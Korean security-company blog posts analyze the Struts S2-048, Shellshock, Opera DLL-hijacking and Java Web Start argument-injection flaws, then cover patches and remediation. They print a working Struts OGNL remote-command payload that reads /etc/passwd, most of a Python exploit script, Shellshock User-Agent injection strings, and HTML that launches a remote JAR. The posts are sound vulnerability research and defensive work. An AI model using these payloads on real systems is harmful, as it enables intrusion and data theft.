다음 URL에 먼저 참고하시면 도움이 되실 것 같습니다.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9791

 http://struts.apache.org/docs/s2-048.html


테스트는 CentOS 6.9에서 Apache Struts 2.3.15.1 버전을 구성하여 진행하였습니다.


다음과 같은 공격구문을 URL 인코딩 한 후 name 파라미터에 입력 시도합니다.

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


공격구문을 입력하여 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.

[그림 1] 취약한 Apache Struts 버전의 테스트 화면


위의 공격구문을 이용하여 다음과 같이 공격코드를 작성합니다.


# -*- coding: utf-8 -*-

 import sys

 import requests


 def exploit(url, cmd):

     payload = "%{"

     payload += "(#_='multipart/form-data')."

     payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."

     payload += "(#_memberAccess?"

     payload += "(#_memberAccess=#dm):"

     payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."

     payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."

     payload += "(#ognlUtil.getExcludedPackageNames().clear())."

     payload += "(#ognlUtil.getExcludedClasses().clear())."

     payload += "(#context.setMemberAccess(#dm))))."

     payload += "(#cmd='%s')." % cmd

     payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."

     payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."

     payload += "(#p=new java.lang.ProcessBuilder(#cmds))."

     payload += "(#p.redirectErrorStream(true))."

     payload += "(#process=#p.start())."

     payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."

     payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."

     payload += "(#ros.flush())"

    payload += "}"

 

     data = {

         "name": payload,

         "age": 26,

         "__checkbox_bustedBefore": "true",

         "description": "S2-048"

     }

 

> -- snip --<


 if __name__ == '__main__':

     if len(sys.argv) != 3:

         print "usage: python %s <url> <cmd>" % (sys.argv[0])

         sys.exit(0)

 

     print "[*] exploit Apache Struts2 S2-048"

     url = sys.argv[1]

     cmd = sys.argv[2]

 

     exploit(url, cmd)


작성한 공격코드를 실행할 경우 프록시를 이용하여 공격한 결과와 동일한 결과를 얻을 수 있습니다.


[그림 2] 작성한 공격코드 실행 - 1


[그림 3] 작성한 공격코드 실행 - 2


프록시를 통해 공격구문을 입력하여 접근 시, strace를 통해 분석하였습니다.


[그림 4] 요청 값 확인


[그림 5] 자식 프로세스 생성


[그림 6] /bin/bash 명령어 실행


[그림 7] /bin/cat 명령어 실행


[그림 8] /etc/passwd 파일 일기


[그림 9] /etc/passwd 파일 내용 응답


해당 취약점은 소스코드 수정을 통해 조치할 수 있습니다.


[그림 10] 취약한 SaveGangsterAction.java


[그림 11] 조치된 SaveGangsterAction.java


위와 같이 소스코드 수정을 통해 조치된 것을 확인하였습니다.

[그림 12] 조치 확인


저작자 표시 비영리 변경 금지
신고

Shellshock 분석 및 테스트


maz3 (maz3@a3security.com)

CrazyPure (jschoi@a3security.com)


Shellshock 취약점은 리눅스를 포함한 유닉스 계열 운영체제에서 사용되는 명령어 실행 툴인 bash로부터 발생하는 취약점입니다.

취약한 버전의 bash를 사용하는 것으로 보안위협에 노출될 수 있으며, 이에 대해 특수문자를 사용하거나 메모리 실행 오류를 이용하여 임의의 명령어를 실행하도록 하는 등의 위협 시나리오가 거론되고 있습니다.


Shellshock 보안취약점의 알려진 내용은 다음과 같습니다.


* 공통 사항: 취약한 bash 버전의 쉘을 사용하고 있어야 함

1. 파싱 오류로 인한 보안 취약점 노출: 특정 프로세스를 생성하는 등의 행위를 하는 모듈이 동작해야 함 (Ex: Enabled CGI module on the apache web server)

2. 메모리 실행 오류로 인한 보안 취약점 노출: 위의 공통 사항과 동일


초기 Shellshock 보안취약점이 알려지기 시작할 때에는 특수문자를 통해 bash의 환경변수를 조작하여 임의의 명령어를 실행하는 것으로 알려졌고 특성을 타는 취약점이라는 이해 아래 공식적인 취약점 보완 절차가 이루어졌지만, 이후 알려진 메모리 실행 오류의 보안취약점으로 인해 현재에는 무조건 bash를 최신버전으로 업데이트 해야 하는 상황으로 발전하게 됩니다.


다음은 현재까지 알려진 Shellshock 취약점 분류 내역입니다.


  CVE NAME

  Test Code

 Patch Notes

 CVE-2014-6271

User-Agent: () { :;}; /bin/bash -c "ping ${IP_ADDRESS} –c3"

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-025

 CVE-2014-6277

User-Agent: () { 0; }; /bin/bash -c 'x() { _; }; x() { _; } <<a;'

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-029

 CVE-2014-6278

 User-Agent: () { _; } >_[$($())] { id >/tmp/CVE-2014-6278; }

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-030

 CVE-2014-7169

 env X='() { (a)=>\' bash -c "echo date"

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-026

 CVE-2014-7186

 bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF'

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-028

 CVE-2014-7187

 (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-028


제일 처음 Shellshock 취약점으로 도출된 CVE-2014-6271의 케이스로 다음 테스트들을 진행해 보았습니다.


* CVE-2014-6271 테스트 #1: Apache CGI


먼저 취약점 점검 테스트용 환경 구성 후 bash를 사용하는 CGI 파일을 간단하게 작성하였습니다.



[그림 1] hello.cgi 작성


CGI의 URL과 Command를 입력받는 점검 스크립트를 실행하여 서버에 존재하는 /etc/passwd 파일의 내용을 확인 할 수 있습니다.



[그림 2] hello.cgi를 대상으로 공격 시도 및 결과


위 점검 스크립트 내용의 일부입니다.



[그림 3] 공격 시도 프로그램 소스코드의 일부


해당 스크립트는 'User-Agent' HTTP 헤더에 코드를 삽입하여 CGI가 실행될 때, 임의의 명령어가 실행되도록 작성하였습니다.

임의의 명령어가 실행된다면 Reverse Connection도 가능하므로 스크립트를 수정하여 실행해 보았습니다.



[그림 4] Reverse Connection을 사용하도록 소스코드 수정


정상적으로 Reverse Connection이 실행되는 것을 확인 할 수 있습니다.



[그림 5] Reverse Connection 실행 결과


* CVE-2014-6271 테스트 #2: OpenSSH


OpenSSH의 경우 sshd_config에서 설정 가능한 ForceCommand 옵션이나 authorized_keys에서 설정하도록 되어 있는 command 옵션이 존재합니다.
해당 옵션들은 제한된 명령어만 사용하도록 설정하는 옵션이나, 본 취약점에 노출될 경우 정해진 명령어가 아닌 허용되지 않은 다른 명령어들에 대해 실행이 가능합니다.


[그림 6] OpenSSH 공격용으로 스크립트 수정



[그림 7] 취약점 공격으로 ForceCommand 옵션 설정을 우회


공격코드가 실행되면 클라이언트는 $SSH_ORIGINAL_COMMAND라는 환경변수를 서버측에 전달하게 되는데 이 때 공격에 노출되어 허용된 명령어가 아닌 타 명령어가 실행 가능하게 됩니다. 

OpenSSH의 경우 ForceCommand 등의 설정을 사용하는 서버가 공격에 취약합니다.


다음은 CVE-2014-6271 외 다른 취약점들을 테스트 해 보았습니다.


* CVE-2014-6277 테스트: 


CGI 페이지 호출 시, User-Agent 파라미터에() { 0; };코드를 삽입하여 쉘이 실행되도록 한 후 메모리 실행 오류를 발생시키는 'x() { _; }; x() { _; } <<a;'코드를 삽입하였고, apache의 errer.log를 확인한 결과 메모리 실행 오류가 발생하는 것을 확인하였습니다.


[그림 8] CVE-2014-6277 취약점 공격 시도



[그림 9] CVE-2014-6277 취약점 공격 결과


* CVE-2014-6278 테스트: 


CGI 페이지 호출 시 User-Agent 파라미터에‘() { _; } >_[$($())] { cmd; }’코드를 삽입하여 웹 서버를 대상으로 한 임의의 명령어가 실행 가능한 것을 확인하였습니다.


[그림 10] CVE-2014-6278 취약점 공격 시도




[그림 11] CVE-2014-6278 취약점 공격 결과


* CVE-2014-7169 테스트: 


환경변수 선언 시 '() { (a)=>\' 코드를 입력하여 쉘을 이용한 명령어 실행이 가능한 것을 확인하였습니다.



[그림 12] CVE-2014-7169 취약점 테스트 결과


* CVE-2014-7186 테스트: 


Bash 쉘을 통해 다중 문서를 중첩하여 호출 시, 메모리 실행 오류가 발생하는것을 확인하였습니다.


[그림 13] CVE-2014-7186 취약점 테스트 결과



다음은 각 취약점들에 대한 패치를 잠시 보도록 하겠습니다.

* CVE-2014-6271-Patch
Bug-Description:

Under certain circumstances, bash will execute user code while processing the
environment for exported function definitions.
*** ../bash-4.3-patched/builtins/common.h	2013-07-08 16:54:47.000000000 -0400
--- builtins/common.h	2014-09-12 14:25:47.000000000 -0400
***************
*** 34,37 ****
--- 49,54 ----
  #define SEVAL_PARSEONLY	0x020
  #define SEVAL_NOLONGJMP 0x040
+ #define SEVAL_FUNCDEF	0x080		/* only allow function definitions */
+ #define SEVAL_ONECMD	0x100		/* only allow a single command */
  
  /* Flags for describe_command, shared between type.def and command.def */
*** ../bash-4.3-patched/builtins/evalstring.c	2014-02-11 09:42:10.000000000 -0500
--- builtins/evalstring.c	2014-09-14 14:15:13.000000000 -0400
***************
*** 309,312 ****
--- 313,324 ----
  	      struct fd_bitmap *bitmap;
  
+ 	      if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
+ 		{
+ 		  internal_warning ("%s: ignoring function definition attempt", from_file);
+ 		  should_jump_to_top_level = 0;
+ 		  last_result = last_command_exit_value = EX_BADUSAGE;
+ 		  break;
+ 		}
+ 


파서 실행 중 넘어 온 플래그에 함수 정의(Function Definition)를 명시했을 때 다시 타입을 비교해서 맞지 않으면 예외처리 합니다.


* CVE-2014-6277-Patch

Bug-Description:

When bash is parsing a function definition that contains a here-document
delimited by end-of-file (or end-of-string), it leaves the closing delimiter
uninitialized.  This can result in an invalid memory access when the parsed
function is later copied.

*** ../bash-4.3.28/make_cmd.c 2011-12-16 08:08:01.000000000 -0500 --- make_cmd.c 2014-10-02 11:24:23.000000000 -0400 *************** *** 693,696 **** --- 693,697 ---- temp->redirector = source; temp->redirectee = dest_and_filename; + temp->here_doc_eof = 0; temp->instruction = instruction; temp->flags = 0; *** ../bash-4.3.28/copy_cmd.c 2009-09-11 16:28:02.000000000 -0400 --- copy_cmd.c 2014-10-02 11:24:23.000000000 -0400 *************** *** 127,131 **** case r_reading_until: case r_deblank_reading_until: ! new_redirect->here_doc_eof = savestring (redirect->here_doc_eof); /*FALLTHROUGH*/ case r_reading_string: --- 127,131 ---- case r_reading_until: case r_deblank_reading_until: ! new_redirect->here_doc_eof = redirect->here_doc_eof ? savestring (redirect->here_doc_eof) : 0;


스크립트가 끝나는 지점인 EOF(End Of File)를 체크할 수 있도록 특정 구조체에 변수를 추가하여 초기화 해 줍니다.


* CVE-2014-6278-Patch

Bug-Description:

A combination of nested command substitutions and function importing from
the environment can cause bash to execute code appearing in the environment
variable value following the function definition.
*** ../bash-4.3.29/parse.y	2014-10-01 12:58:43.000000000 -0400
--- parse.y	2014-10-03 14:48:59.000000000 -0400
***************
*** 2539,2542 ****
--- 2539,2552 ----
  }
  
+ char *
+ parser_remaining_input ()
+ {
+   if (shell_input_line == 0)
+     return 0;
+   if (shell_input_line_index < 0 || shell_input_line_index >= shell_input_line_len)
+     return '\0';	/* XXX */
+   return (shell_input_line + shell_input_line_index);
+ }
+ 


함수 정의 부분에서 nested function name 이 있을 경우 이를 예외처리 하도록 합니다.


* CVE-2014-7169-Patch

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch (apply with `patch -p0'):

*** ../bash-4.3.25/parse.y	2014-07-30 10:14:31.000000000 -0400
--- parse.y	2014-09-25 20:20:21.000000000 -0400
***************
*** 2954,2957 ****
--- 2954,2959 ----
    word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
    current_token = '\n';		/* XXX */
    last_read_token = '\n';
*** ../bash-4.3.25/y.tab.c	2014-07-30 10:14:32.000000000 -0400
--- y.tab.c	2014-09-25 20:21:48.000000000 -0400
***************
*** 5266,5269 ****
--- 5266,5271 ----
    word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
    current_token = '\n';		/* XXX */
    last_read_token = '\n';


newline을 뜻하는 '\n' 문자에 대해 예외처리 하도록 합니다.


* CVE-2014-7186-Patch

Bug-Description:

There are two local buffer overflows in parse.y that can cause the shell
to dump core when given many here-documents attached to a single command
or many nested loops.

Patch (apply with `patch -p0'):

*** ../bash-4.3-patched/parse.y 2014-09-25 23:02:35.000000000 -0400 --- parse.y 2014-09-29 16:47:03.000000000 -0400 *************** *** 169,172 **** --- 169,175 ---- static int reserved_word_acceptable __P((int)); static int yylex __P((void)); + + static void push_heredoc __P((REDIRECT *)); + static char *mk_alexpansion __P((char *)); static int alias_expand_token __P((char *)); static int time_command_acceptable __P((void)); *************** *** 266,270 **** /* Variables to manage the task of reading here documents, because we need to defer the reading until after a complete command has been collected. */ ! static REDIRECT *redir_stack[10]; int need_here_doc; --- 269,275 ---- /* Variables to manage the task of reading here documents, because we need to defer the reading until after a complete command has been collected. */ ! #define HEREDOC_MAX 16 ! ! static REDIRECT *redir_stack[HEREDOC_MAX]; int need_here_doc;

+ + static void push_heredoc __P((REDIRECT *)); + static char *mk_alexpansion __P((char *));

+ static void

+ push_heredoc (r)
+      REDIRECT *r;
+ {
+   if (need_here_doc >= HEREDOC_MAX)
+     {
+       last_command_exit_value = EX_BADUSAGE;
+       need_here_doc = 0;
+       report_syntax_error (_("maximum here-document count exceeded"));
+       reset_parser ();
+       exit_shell (last_command_exit_value);
+     }
+   redir_stack[need_here_doc++] = r;
+ }
+ 


다중으로 문서가 중첩되어 호출될 경우 발생하는 메모리 접근 오류가 일어나지 않도록 예외처리를 합니다.


* CVE-2014-7187-Patch

Bug-Description:

There are two local buffer overflows in parse.y that can cause the shell
to dump core when given many here-documents attached to a single command
or many nested loops.
*** ../bash-4.3-patched/parse.y	2014-09-25 23:02:35.000000000 -0400
--- parse.y	2014-09-29 16:47:03.000000000 -0400
***************
*** 169,172 ****
--- 169,175 ----
  static int reserved_word_acceptable __P((int));
  static int yylex __P((void));
+ 
+ static void push_heredoc __P((REDIRECT *));
+ static char *mk_alexpansion __P((char *));
  static int alias_expand_token __P((char *));
  static int time_command_acceptable __P((void));
***************
*** 266,270 ****
  /* Variables to manage the task of reading here documents, because we need to
     defer the reading until after a complete command has been collected. */
! static REDIRECT *redir_stack[10];
  int need_here_doc;
  
--- 269,275 ----
  /* Variables to manage the task of reading here documents, because we need to
     defer the reading until after a complete command has been collected. */
! #define HEREDOC_MAX 16
! 
! static REDIRECT *redir_stack[HEREDOC_MAX];
  int need_here_doc;
  
***************
*** 308,312 ****
     index is decremented after a case, select, or for command is parsed. */
  #define MAX_CASE_NEST	128
! static int word_lineno[MAX_CASE_NEST];
  static int word_top = -1;
  
--- 313,317 ----
     index is decremented after a case, select, or for command is parsed. */
  #define MAX_CASE_NEST	128
! static int word_lineno[MAX_CASE_NEST+1];
  static int word_top = -1;
  
! #line 785 "/usr/src/local/chet/src/bash/bash-4.3.28/parse.y"
      {
  			  (yyval.command) = make_for_command ((yyvsp[(2) - (6)].word), add_string_to_list ("\"$@\"", (WORD_LIST *)NULL), (yyvsp[(5) - (6)].command), word_lineno[word_top]);
***************
*** 2707,2711 ****



스크립트 파서 수행 중 별도의 스크립트 실행 구문을 만들어 내는 과정에서 해당 내용이 담긴 변수에 대해 적절한 경계 값을 검사하도록 하여 예외처리를 합니다. 


* References

http://en.wikipedia.org/wiki/Shellshock_(software_bug)

http://www.dwheeler.com/essays/shellshock.html

http://support.novell.com/security/cve/CVE-2014-7187.html

http://ftp.gnu.org/gnu/bash/bash-4.3-patches/

http://teamcrak.tistory.com/379

http://lcamtuf.blogspot.kr/2014/10/bash-bug-how-we-finally-cracked.html

http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=shellshock

http://shellshock.brandonpotter.com/



저작자 표시 비영리 변경 금지
신고

CVE-2014-6271으로 알려진 ShellShock이 이슈화 되고 있는데, 간단한 내용을 알아보고자 합니다.


다음의 URL을 먼저 방문하시면 도움이 되실 것 같습니다.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/


테스트는 CentOS 6.3 64bit machine에서 진행하였습니다.


[그림 1] 취약한 bash 버전의 테스트 화면


위 테스트에서 기본적으로 다음과 같은 구문이 문제시 되는 것 같습니다.

env x='() { : ; } ; echo vulnerable'


쉘 스크립트 언어의 Syntax 측면에서 파싱 구조를 살펴보았을 때 '변수 x'에 할당하고 있는 값은 ' (single quotes) 가 시작해서 끝나는 지점까지를 해당 변수의 값으로 할당하여야 하지만, 특수 문자 파싱의 오류로 인하여 ';' 문자 뒤의 echo 구문이 쉘 스크립트의 실행 구문으로 실행되어 문제가 발생하는 것 같습니다.

즉, "echo vulnerable" 문자열은 콘솔 상 출력되지 않아야 할 "변수 x"의 값이어야 하나, 해당 문자열이 쉘 스크립트의 실행 영역으로 수행되면서 악의적인 명령어의 삽입이 가능합니다.


조금 더 자세한 구조를 알아보기 위해 ltrace를 사용해 보았습니다.

 

[그림 2] 변수 할당 영역을 벗어나 구문 실행 파싱 영역으로 수행되는 테스트 코드


[그림 3] 쉘 스크립트의 실행 구문 파싱 영역


해당 취약점은 패키지 업데이트로 해결할 수 있습니다.


[그림 4] bash 패키지 업데이트


현재 TeamCR@K은 더 상세한 내용을 위해 분석 중에 있으며, 분석이 완료되면 해당 내용을 다시 게시하도록 하겠습니다.


저작자 표시 비영리 변경 금지
신고

 

Opera DLL Hijacking 위협 분석

 

By. clarus (clarus@a3sc.co.kr)


I. Opera DLL Hijacking 위협 분석

  1.    취약점 개요

    가.    개요

DLL Hijacking 윈도우 기반의 어플리케이션이 DLL 로딩할 DLL 경로가 지정되지 않아서 발생하는 취약점입니다. 원칙적으로 파일의 전체 경로가 입력되어야 하지만, 윈도우 DLL 경로가 지정되지 않으면, 자동으로 파일이 탐색되기 때문에 대부분의 코딩은 경로명을 생략하고 파일명만을 적어주기 쉽습니다.

 

파일의 경로가 존재하지 않을 경우, 가장 먼저 레지스트리의 KnownDLLs 키가 조사됩니다. 해당 레지스트리의 경로 내용의 다음과 같습니다.

레지스트리가 등록되어있지 않을 경우, DllDirectory 저장된 디렉터리를 검색합니다.

만약 로드하고자 하는 DLL 해당 레지스트리에 존재치 않으면, DLL 검색 경로에서 우선순위에 의하여 DLL 찾게 됩니다.

 

따라서 공격자는 프로그램을 사용시 실행되는 DLL 파일의 경로를 추적한 , DLL 우선순위가 낮으면 우선순위가 높은 디렉터리에 DLL 파일을 삽입하여 악의적인 명령을 수행할 있습니다.

[그림 1] DLL Hijacking가상 시나리오


    나.    DLL 호출 우선 순위

응용 프로그램이 로드되는 디렉터리

시스템 디렉터리

16비트 시스템 디렉터리

Windows 디렉터리

CWD (현재 작업 디렉터리)

PATH 환경 변수에 나열되는 디렉터리

 

    다.    취약점 영향도

- 악의적인 DLL 의도적 loading으로 권한 상승 또는 시스템 장악

- WebDAV 연계시켜 취약성 발생, 원격코드 실행 따른 치명적인 위협 발생

  


  2.    취약점 상세

    가.    위협 분석 방향

WebDAV 네트워크 공유를 통해 접속한 디렉터리는 DLL 호출 우선 순위의 CWD(현재 작업 디렉터리) 해당하기 때문에, 해당 공격이 성공하기 위해서는 호출되는 DLL 우선순위가 가장 낮은 PATH 환경변수에 등록되어 있거나 존재하지 않는 DLL이어야 합니다.

DLL 호출 우선순위의PATH 환경 변수에 나열되는 디렉터리 경로까지 검색하여도 DLL 찾을 없을 경우 에러메시지를 띄우는데, 구현시의 DLL Hijacking 경우는 CWD(현재 작업 디렉터리)” 참조하는 것에서 발생합니다.

어플리케이션이 파일(.ppt, .c, .cpp, .torrent, .pcap ) 읽을 악성 DLL 파일이 어플리케이션 파일과 같은 경로에 있으면 CWD(현재 디렉터리) 인식하여 조작된 DLL 삽입되는 것입니다

 

    나.    Opera DLL Hijacking으로 임의의 명령 실행

Opera 버전 10.61 에서 DLL Hijacking 발생됩니다. 취약점 정보 Exploit Code 대한 정보는 아래와 같습니다.

 

URL) http://www.exploit-db.com/exploits/14732/

(Opera v10.61 DLL Hijacking Exploit (dwmapi.dll))

  

다음은 Opera 버전10.61 에서 발생하는 DLL Hijacking취약점 대한 취약점 정보 Exploit Code 일부분 입니다.

[그림 2] Opera DLL Hijacking 취약점 정보

 

다음은 process monitor 확인한 “NAME NOT FOUND” 따른 DLL Hijacking 취약점을 분석하는 화면입니다.

[그림 3] DLL Hijacking 취약점 분석


다음은
Opera 버전10.61에서 존재하는 DLL Hijacking취약점으로 계산기를 실행시키기 위한 Exploit Code 구성하는 화면입니다.

[그림 4] exploit code


다음은 Exploit code 통해 DLL 파일을 생성하는 화면입니다

 [그림 5] win32 DLL 프로젝트 생성 코드 작성

다음은 Opera 버전 10.61에서 DLL Hijacking 공격을 위해 DLL 파일(dwmapi.dll) 생성한 화면입니다.

 [그림 6] DLL 파일 생성


“1.
취약점 개요에서 설명한 내용과 같이 DLL 찾을 없을 경우 DLL 호출 우선순위인 CWD(현재 작업 디렉터리)” 참조하도록 하기 위해, 현재 작업 디렉터리에 DLL파일을 위치시킨 화면입니다.

[그림 7] 현재 작업 디렉터리에 DLL 이동


다음은
Exploit Code 생성된 DLL파일에 의해 임의의 명령(계산기 실행) 실행된 화면입니다.

[그림 8] DLL Hijacking 으로 인한 계산기 실행



  3. 대응 방안

    가.    어플리케이션 개발 로딩하는 파일의 전체 경로를 사용하여 예방 가능

    나.    WebDAV 공유에서 DLL 로드할 없도록 설정

레지스트리 편집기 실행

[그림 9] 레지스트리 편집기 실행

 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager 경로로 이동

 

Session Manager에서 다음과 같이 이동

[그림 10] Session Manager 레지스트리 생성

 

④CWDIllegalInDllSearch 입력한 수정

[그림 11] 레지스트리 편집기 실행

  

DWORD 편집 창에서 1 입력한 확인

[그림 12] 편집 DWORD 입력

 

  다.    패치된 최신 버전의 어플리케이션으로 업데이트 적용

 

II. 참고 사이트 참고 문헌
  
  1.    참고 사이트

- http://www.exploit-db.com/exploits/14732/

- http://support.microsoft.com/kb/2264107

- http://isc.sans.edu/diary.html?storyid=9445

- http://blog.metasploit.com/2010/08/exploiting-dll-Hijacking-flaws.html

 

현재 ㈜에이쓰리시큐리티에서 테스트 분석 중에 있으며, 문서는 계속 업데이트될 것입니다. 문서는 보안취약점으로 인한 피해를 최소화하는 도움이 되고자 작성되었으나, 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다..

 

신고

The Java Web Start Argument Injection Vulnerability 

취약점 보안 권고안

By. Dear.TOM (bdr@a3sc.co.kr)


Ⅰ. 취약점 개요

취약점

The Java Web Start Argument Injection Vulnerability

최초 발표일

2010년 4월

현재상태(패치여부)

패치됨

구성요소

Java Web Start

보안 영향

원격 코드 실행

위험도

높음



1. 요약
“The Java Web Start Argument Injection Vulnerability” 취약점은 JDT(Java Deployment Toolkit) 플러그인의 launch() 메소드 파라미터에 전달되는 입력 값의 유효성에 대한 검증이 미흡하여 발생하는 것으로, 해당 취약점은 2010년 4월 9일 Tavis Ormany에 의해 최초로 발표되었으며, Oracle Sun 社 에서는 4월 20일 공식 긴급 패치를 발표하였습니다.

2. 대상 시스템
다음은 Oracle Sun 社에서 해당 취약점에 취약한 버전을 공개한 목록입니다.

Java SE
   • JDK and JRE 6 for Windows, Solaris, and Linux      

Java for Business
   • JDK and JRE 6 for Windows, Solaris and Linux




Ⅱ. 취약점 세부 분석

1. 취약점 내용
해당 취약점은 JDT(Java Deployment Toolkit) 플러그인의 launch() 메소드의 파라미터에 전달되는 입력 값의 유효성에 대한 검증이 미흡하여 발생합니다.

JWS(Java Web Start)는 .jnlp(Java Network Launching Protocol)을 이용하여 전달받은 URL로부터 자바 어플리케이션을 다운로드 받아서 VM(Virtual Machin)에서 실행시키는 역할을 합니다. 이때, ActiveX control 과 NPAPI Plugin에서 제공하는 launch() 메소드를 통해 전달되는 URL의 유효성 검증이 미흡하여, 원격에서 악의적인 프로그램을 실행 시킬 수 있습니다.

2. 공격 분석
* 본 연구 문서는 신규 취약점 또는 보안 기술 우회 기법에 관한 문서로써 악용될 우려가 있는 상세 공격 코드 및 내용을 제한 합니다.

해당 취약점을 이용하여 제작된 악성 웹 페이지에 일반 사용자가 접근하면, 공격자가 의도한 임의의 프로그램을 실행 할 수 있습니다.

다음은 해당 취약점을 이용한 테스트 사이트의 웹 페이지 코드 입니다. 단, 해당 취약점을 최로로 밝힌 Tavis Ormany에 의해 테스트 용도로 구축되어 악의적인 공격을 수행하지는 않습니다.

<html>
        ...생략...

        // -J 옵션을 이용하여 매개변수로 전달하는 임의의 JAR 파일 실행 가능
        var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none";

        if (window.navigator.appName == "Microsoft Internet Explorer") {
            var o = document.createElement("OBJECT");

            // IE 용 JDT ActiveX 플러그인 'deploytk.dll'의 클래스ID
            o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";

            // JDT 플러그인의 launch()를 실행하여, 변수 u에 저장되어 있는 실행 경로를 
            // Java Web Start(javaws.exe)의 인자로 전달
            o.launch(u);
 
         ...생략...
</html>



다음은 해당 취약점을 이용한 웹 페이지 방문 결과, 윈도우 기본 계산기 프로그램이 실행되는 것을 확인하는 화면입니다.
 

3. 위험 분석

공격자는 “The Java Web Start Argument Injection” 취약점을 이용하여 원격지에서 임의의 (악성)코드 실행이 가능합니다. 이미 해외에서는 해당 취약점을 이용한 악성코드 유포 사례가 발견되었고, 공개 취약점 공격 도구에도 해당 취약점을 공격하는 기능이 추가 되어 있어, 취약한 버전을 사용할 경우 공격 당할 위험이 크다고 볼 수 있으므로, Java 관련 프로그램 혹은 플러그인을 사용하는 사용자는 최신 버전(JRE 6 update 20 이상의 버전)으로 업데이트 하시기 바랍니다.

4. 패치 분석
2010년 4월 20일 이루어진 긴급 보안 패치(Java SE 6 update 20)에서는 코드 기반 파라미터가 없는 Java Network Launch Protocol(JNLP) File을 더이상  동작  하지않도록 수정이 되었다고 밝히고 있습니다.


Ⅲ. 해결 방안

1. Oracle Sun 社 에서 제공하는 공식 패치 적용 - Java 6 Updatae 20
  URL) http://www.oracle.com/technology/deploy/security/alerts/alert-cve-2010-0886.html


Ⅳ. 참고자료

[1] [Full-disclosure] Java Deployment Toolkit Performs Insufficient Validation of Parameters
  URL) http://lists.grok.org.uk/pipermail/full-disclosure/2010-April/074036.html
[2] Java Deployment Toolkit Test Page
  URL) http://lock.cmpxchg8b.com/bb5eafbc6c6e67e11c4afc88b4e1dd22/testcase.html
[3] Java SE 6 Update 20 Release Notes
  URL) http://java.sun.com/javase/6/webnotes/6u20.html
[4] Security Alert for CVE-2010-0886 and CVE-2010-0887 Released
  URL) http://blogs.oracle.com/security/2010/04/security_alert_for_cve-2010-08.html
[5] JAVA Web Start Arbitrary command-line injection - "-XXaltjvm" arbitrary dll loading
  URL) http://reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1
[6] Java exploit launches local Windows applications
  URL) http://www.h-online.com/security/news/item/Java-exploit-launches-local-Windows-applications-974652.html
[7] Java zero-day flaw under active attack
  URL) http://blogs.zdnet.com/security/?p=6161
[8] The Java Web Start Argument Injection Vulnerability
  URL) http://blog.metasploit.com/2010/04/java-web-start-argument-injection.html

 

※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.


저작자 표시 비영리 변경 금지
신고
* 본 연구 문서는 신규 취약점 또는 보안 기술 우회 기법에 관한 문서로써 악용될 우려가 있는 상세 공격 코드 및 내용을 제한 합니다.

2009년 10월에 발견한 취약점으로써, 현재는 패치가 완료된 상태입니다.

1. 개요
OpsView는 호스트 및 네트워크 모니터링 오픈 어플리케이션 입니다. OpsView의 취약점을 분석하여 적절한 보안대책을 수립하기 위함입니다.

취약점

OpsView Enterprise SQL Injection, XSS 취약점

A3SC Advisory ID

